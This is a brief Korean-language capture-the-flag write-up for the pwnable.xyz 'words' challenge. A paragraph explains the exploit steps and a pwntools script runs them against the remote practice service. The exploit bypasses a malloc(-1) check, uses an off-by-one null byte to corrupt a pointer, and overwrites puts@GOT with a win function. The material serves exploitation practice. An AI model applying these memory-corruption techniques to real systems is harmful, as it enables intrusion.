[pwnable.xyz]words

익스 순서는 5번메뉴로 malloc(-1)로 리턴 0으로 우회해서 buf에 reverse 포인터를 박아놓는다. 그리고 3번 메뉴 로직버그 이용해서 계속 문자열을 붙여서 써준다. 그러면 256바이트만큼 채우면 마지막에 널바이트가 붙어서 buf에 넣은 reverse가 0x610e00이 되서 또 5번 메뉴를 사용해서 buf포인터인 0x610e00에 값을 채울 수 있는데 puts@got로 덮고 또 5번메뉴로 덮어주면 된다.

Exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30036)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
a = 0x0000000000610DA0
buf = 0x0000000000610EA0
reverse = 0x0000000000610EC0

def handles(a,b):
	sa('>','3')
	sa('>',str(a))
	sa('>',str(b))

sa('>','5')
sa(':','-1')
p.send('BBBBBBBBBB')

# handles(1,0) # 24
# handles(2,0) # 36
# handles(3,0) # 41
# handles(4,0) # 43
# handles(5,0) # 35

handles(4,0)
handles(4,0)
handles(4,0)
handles(4,0)
handles(4,0)
handles(3,0)

sa('>','5')
p.send('A'*160+p64(e.got['puts']))

sa('>','5')
p.send(p64(e.symbols['win']))

sa('>','777')

p.interactive()